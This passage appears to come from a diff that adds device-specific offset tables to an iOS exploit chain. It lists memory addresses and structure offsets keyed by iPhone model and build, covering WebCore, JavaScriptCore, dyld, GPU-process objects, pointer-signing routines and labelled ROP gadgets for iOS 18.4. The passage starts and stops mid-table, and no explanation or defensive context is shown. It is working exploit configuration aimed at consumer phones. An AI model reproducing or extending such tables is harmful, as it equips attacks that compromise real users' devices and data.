MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba829744n, + PerfPowerServicesReader_cstring : 0x257693e60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d026988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a2830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x270ff0000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed8766e8n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed954708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4ce0b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ea930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b5fec00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edba53b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f1196630n, + WebCore__initPKContact_once : 0x1ed8834b8n, + WebCore__initPKContact_value : 0x1ed8834c0n, + WebCore__PAL_getPKContactClass : 0x1ed87a978n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed881c90n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed881c88n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed881c70n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee964548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb7696b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb724300n, + WebProcess_ensureGPUProcessConnection : 0x198da2e34n, + WebProcess_gpuProcessConnectionClosed : 0x19976ec4cn, + WebProcess_singleton : 0x1ed8778c0n, + WebCore__HTMLDocument_vtable : 0x1f10d9a68n, + }, + "iPhone12,1_22G86": { + __pthread_head : 0x268a8c020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8f5e28n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1772560n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8f5910n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8f5870n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8f58c0n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8f4cb8n, + AXCoreUtilities__DefaultLoader : 0x1eb6086b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee74ee88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfac470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfac5c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7bd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf7c22cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf7c790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf7c34cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e95b70n, + DesktopServicesPriv_bss : 0x1ecac95a8n, + dyld__dlopen_from_lambda_ret : 0x1a95f1fc8n, + dyld__RuntimeState_emptySlot : 0x1a9633b6cn, + dyld__RuntimeState_vtable : 0x1f268ffb0n, + dyld__signPointer : 0x1a95fd3e4n, + emptyString : 0x1ed92c420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed703b48n, + free_slabs : 0x1ed7bd2d0n, + gadget_control_1_ios184 : 0x23ef0a2ecn, + gadget_control_2_ios184 : 0x1ad42cc28n, + gadget_control_3_ios184 : 0x21f002150n, + gadget_loop_1_ios184 : 0x1866085dcn, + gadget_loop_2_ios184 : 0x20cfd1ce8n, + gadget_loop_3_ios184 : 0x184d39f1cn, + gadget_set_all_registers_ios184 : 0x20dd4a16cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee610660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb76f2a0n, + HOMEUI_cstring : 0x182f764e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7d64f0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7d61a0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7d61a8n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7d61b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7d60f0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7d61b8n, + ImageIO__gImageIOLogProc : 0x1ee7d93f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866282cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ea8bcn, + JavaScriptCore__jitAllowList : 0x1ed956470n, + JavaScriptCore__jitAllowList_once : 0x1ed956288n, + jsc_base : 0x19a0fe000n, + libARI_cstring : 0x218861820n, + libdyld__dlopen : 0x1ad42e7b8n, + libdyld__dlsym : 0x1ad42fa34n, + libdyld__gAPIs : 0x1ed3d0000n, + libGPUCompilerImplLazy__invoker : 0x23ccac8b4n, + libGPUCompilerImplLazy_cstring : 0x23bdf6870n, + libsystem_c__atexit_mutex : 0x1ed6e2758n, + libsystem_kernel__thread_suspend : 0x1d39f31c0n, + libsystem_pthread_base : 0x20d020000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6e19c0n, + mainRunLoop : 0x1ed944020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba829744n, + PerfPowerServicesReader_cstring : 0x2576d7e60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d026988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a2830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x2710fc000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed876768n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed954708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4ce0b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ea930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b5fec00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edba53b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f1196630n, + WebCore__initPKContact_once : 0x1ed883538n, + WebCore__initPKContact_value : 0x1ed883540n, + WebCore__PAL_getPKContactClass : 0x1ed87a9f8n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed881d10n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed881d08n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed881cf0n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee964548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb7696b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb724300n, + WebProcess_ensureGPUProcessConnection : 0x198da2e34n, + WebProcess_gpuProcessConnectionClosed : 0x19976ec4cn, + WebProcess_singleton : 0x1ed877940n, + WebCore__HTMLDocument_vtable : 0x1f10d9a68n, + }, + "iPhone12,3_5_22F76": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edadecd8n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edade7c0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edade720n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edade770n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edaddb68n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f195b658n, + AXCoreUtilities__DefaultLoader: 0x1eb7bcbe0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ee9326e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ea428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ea580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3b9cb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3ba1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3ba748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3ba304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80ad898n, + DesktopServicesPriv_bss: 0x1ecca3a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ed8eb888n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb924a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f3bc0n, + HOMEUI_cstring: 0x182f75636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865182cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9be1f0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ed9bdea0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9bdea8n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9bdeb0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9bddf0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9bdeb8n, + ImageIO__gImageIOLogProc: 0x1ee9bc960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8715ecn, + JavaScriptCore__jitAllowList: 0x1edb3e4a0n, + JavaScriptCore__jitAllowList_once: 0x1edb3e2b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac39744n, + PerfPowerServicesReader_cstring: 0x257c8fe60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda5e458n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5d7688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5eb958n, + Security__gSecurityd: 0x1eb67fd78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd8d288n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f137cf70n, + WebCore__PAL_getPKContactClass: 0x1eda626b8n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb91eed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8d9ac8n, + WebCore__initPKContact_once: 0x1eda6b1f8n, + WebCore__initPKContact_value: 0x1eda6b200n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda699c0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda699b8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda699a0n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb48548n, + WebProcess_ensureGPUProcessConnection: 0x199195958n, + WebProcess_gpuProcessConnectionClosed: 0x199ae82fcn, + WebProcess_singleton: 0x1eda5f600n, + __pthread_head: 0x269104020n, + dyld__RuntimeState_emptySlot: 0x1a9a75b6cn, + dyld__RuntimeState_vtable: 0x1f2871aa0n, + dyld__dlopen_from_lambda_ret: 0x1a9a33fc8n, + dyld__signPointer: 0x1a9a3f3e4n, + emptyString: 0x1edb14420n, + free_slabs: 0x1ed9a4fd0n, + gadget_control_1_ios184: 0x23f2c42ecn, + gadget_control_2_ios184: 0x1ad86ac28n, + gadget_control_3_ios184: 0x21f256150n, + gadget_loop_1_ios184: 0x1865f818cn, + gadget_loop_2_ios184: 0x20d23dda8n, + gadget_loop_3_ios184: 0x184d29f1cn, + gadget_set_all_registers_ios184: 0x20dfb616cn, + jsc_base: 0x19a45a000n, + libARI_cstring: 0x218ac7820n, + libGPUCompilerImplLazy__invoker: 0x23d0697e8n, + libGPUCompilerImplLazy_cstring: 0x23c1b3870n, + libdyld__dlopen: 0x1ad86c7b8n, + libdyld__dlsym: 0x1ad86da34n, + libdyld__gAPIs: 0x1ed5b8000n, + libsystem_c__atexit_mutex: 0x1ed8ca498n, + libsystem_kernel__thread_suspend: 0x1d3da51c0n, + libsystem_pthread_base: 0x20d28c000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8c9700n, + mainRunLoop: 0x1edb2c020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd26f30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb3c708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n, + pthread_create : 0x20d292988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_linkedit : 0x271810000n, + WebCore__HTMLDocument_vtable : 0x1f10d9a68n, + }, + "iPhone12,3_5_22G86": { + __pthread_head : 0x268a8c020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8f5e28n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1772560n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8f5910n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8f5870n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8f58c0n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8f4cb8n, + AXCoreUtilities__DefaultLoader : 0x1eb6086b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee74ee88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfac470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfac5c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7bd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf7c22cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf7c790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf7c34cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e95b70n, + DesktopServicesPriv_bss : 0x1ecac95a8n, + dyld__dlopen_from_lambda_ret : 0x1a95f1fc8n, + dyld__RuntimeState_emptySlot : 0x1a9633b6cn, + dyld__RuntimeState_vtable : 0x1f268ffb0n, + dyld__signPointer : 0x1a95fd3e4n, + emptyString : 0x1ed92c420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed703b48n, + free_slabs : 0x1ed7bd2d0n, + gadget_control_1_ios184 : 0x23ef0a2ecn, + gadget_control_2_ios184 : 0x1ad42cc28n, + gadget_control_3_ios184 : 0x21f002150n, + gadget_loop_1_ios184 : 0x1866085dcn, + gadget_loop_2_ios184 : 0x20cfd1ce8n, + gadget_loop_3_ios184 : 0x184d39f1cn, + gadget_set_all_registers_ios184 : 0x20dd4a16cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee610660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb76f2a0n, + HOMEUI_cstring : 0x182f764e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7d64f0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7d61a0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7d61a8n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7d61b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7d60f0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7d61b8n, + ImageIO__gImageIOLogProc : 0x1ee7d93f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866282cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ea8bcn, + JavaScriptCore__jitAllowList : 0x1ed956470n, + JavaScriptCore__jitAllowList_once : 0x1ed956288n, + jsc_base : 0x19a0fe000n, + libARI_cstring : 0x218861820n, + libdyld__dlopen : 0x1ad42e7b8n, + libdyld__dlsym : 0x1ad42fa34n, + libdyld__gAPIs : 0x1ed3d0000n, + libGPUCompilerImplLazy__invoker : 0x23ccac8b4n, + libGPUCompilerImplLazy_cstring : 0x23bdf6870n, + libsystem_c__atexit_mutex : 0x1ed6e2758n, + libsystem_kernel__thread_suspend : 0x1d39f31c0n, + libsystem_pthread_base : 0x20d020000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6e19c0n, + mainRunLoop : 0x1ed944020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba829744n, + PerfPowerServicesReader_cstring : 0x2576d7e60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d026988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a2830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x2710fc000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed876768n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed954708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4ce0b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ea930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b5fec00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edba53b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f1196630n, + WebCore__initPKContact_once : 0x1ed883538n, + WebCore__initPKContact_value : 0x1ed883540n, + WebCore__PAL_getPKContactClass : 0x1ed87a9f8n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed881d10n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed881d08n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed881cf0n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee964548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb7696b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb724300n, + WebProcess_ensureGPUProcessConnection : 0x198da2e34n, + WebProcess_gpuProcessConnectionClosed : 0x19976ec4cn, + WebProcess_singleton : 0x1ed877940n, + WebCore__HTMLDocument_vtable : 0x1f10d9a68n, + }, + "iPhone12,8_22G86": { + __pthread_head : 0x2689d8020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8f9ba8n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1776560n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8f9690n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8f95f0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8f9640n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8f8a38n, + AXCoreUtilities__DefaultLoader : 0x1eb60c6b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee752e88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfac470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfac5c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7bd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf7c22cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf7c790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf7c34cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e95d70n, + DesktopServicesPriv_bss : 0x1ecacd5a8n, + dyld__dlopen_from_lambda_ret : 0x1a95f1fc8n, + dyld__RuntimeState_emptySlot : 0x1a9633b6cn, + dyld__RuntimeState_vtable : 0x1f2693fb0n, + dyld__signPointer : 0x1a95fd3e4n, + emptyString : 0x1ed930420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed7078c8n, + free_slabs : 0x1ed7c1050n, + gadget_control_1_ios184 : 0x23ee2c2ecn, + gadget_control_2_ios184 : 0x1ad42cc28n, + gadget_control_3_ios184 : 0x21f00a150n, + gadget_loop_1_ios184 : 0x1866085dcn, + gadget_loop_2_ios184 : 0x20cfd9ce8n, + gadget_loop_3_ios184 : 0x184d39f1cn, + gadget_set_all_registers_ios184 : 0x20dd5216cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee614660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb7732a0n, + HOMEUI_cstring : 0x182f764e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7da270n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7d9f20n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7d9f28n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7d9f30n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7d9e70n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7d9f38n, + ImageIO__gImageIOLogProc : 0x1ee7dd3f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866282cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ea8bcn, + JavaScriptCore__jitAllowList : 0x1ed95a470n, + JavaScriptCore__jitAllowList_once : 0x1ed95a288n, + jsc_base : 0x19a0fe000n, + libARI_cstring : 0x218869820n, + libdyld__dlopen : 0x1ad42e7b8n, + libdyld__dlsym : 0x1ad42fa34n, + libdyld__gAPIs : 0x1ed3d4000n, + libGPUCompilerImplLazy__invoker : 0x23cbce8b4n, + libGPUCompilerImplLazy_cstring : 0x23bd18870n, + libsystem_c__atexit_mutex : 0x1ed6e64d8n, + libsystem_kernel__thread_suspend : 0x1d39f31c0n, + libsystem_pthread_base : 0x20d028000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6e5740n, + mainRunLoop : 0x1ed948020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba829744n, + PerfPowerServicesReader_cstring : 0x2575f3e60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d02e988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a2830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x27103c000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed87a4e8n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed958708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4d20b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ea930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b5fec00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edba93b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f119a630n, + WebCore__initPKContact_once : 0x1ed8872b8n, + WebCore__initPKContact_value : 0x1ed8872c0n, + WebCore__PAL_getPKContactClass : 0x1ed87e778n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed885a90n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed885a88n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed885a70n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee968548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb76d6b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb728300n, + WebProcess_ensureGPUProcessConnection : 0x198da2e34n, + WebProcess_gpuProcessConnectionClosed : 0x19976ec4cn, + WebProcess_singleton : 0x1ed87b6c0n, + WebCore__HTMLDocument_vtable : 0x1f10dda68n, + }, + "iPhone13,1_22G86": { + __pthread_head : 0x268d04020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8f61e8n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1772560n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8f5cd0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8f5c30n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8f5c80n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8f5078n, + AXCoreUtilities__DefaultLoader : 0x1eb6086b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee74ee88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfac470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfac5c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7bd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf7c22cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf7c790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf7c34cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e95b70n, + DesktopServicesPriv_bss : 0x1ecac95a8n, + dyld__dlopen_from_lambda_ret : 0x1a95f1fc8n, + dyld__RuntimeState_emptySlot : 0x1a9633b6cn, + dyld__RuntimeState_vtable : 0x1f268ffb0n, + dyld__signPointer : 0x1a95fd3e4n, + emptyString : 0x1ed92c420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed703f08n, + free_slabs : 0x1ed7bd690n, + gadget_control_1_ios184 : 0x23ed492ecn, + gadget_control_2_ios184 : 0x1ad42cc28n, + gadget_control_3_ios184 : 0x21f019150n, + gadget_loop_1_ios184 : 0x1866085dcn, + gadget_loop_2_ios184 : 0x20cfd5ce8n, + gadget_loop_3_ios184 : 0x184d39f1cn, + gadget_set_all_registers_ios184 : 0x20dd4e16cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee610660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb76f2a0n, + HOMEUI_cstring : 0x182f764e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7d68b0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7d6560n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 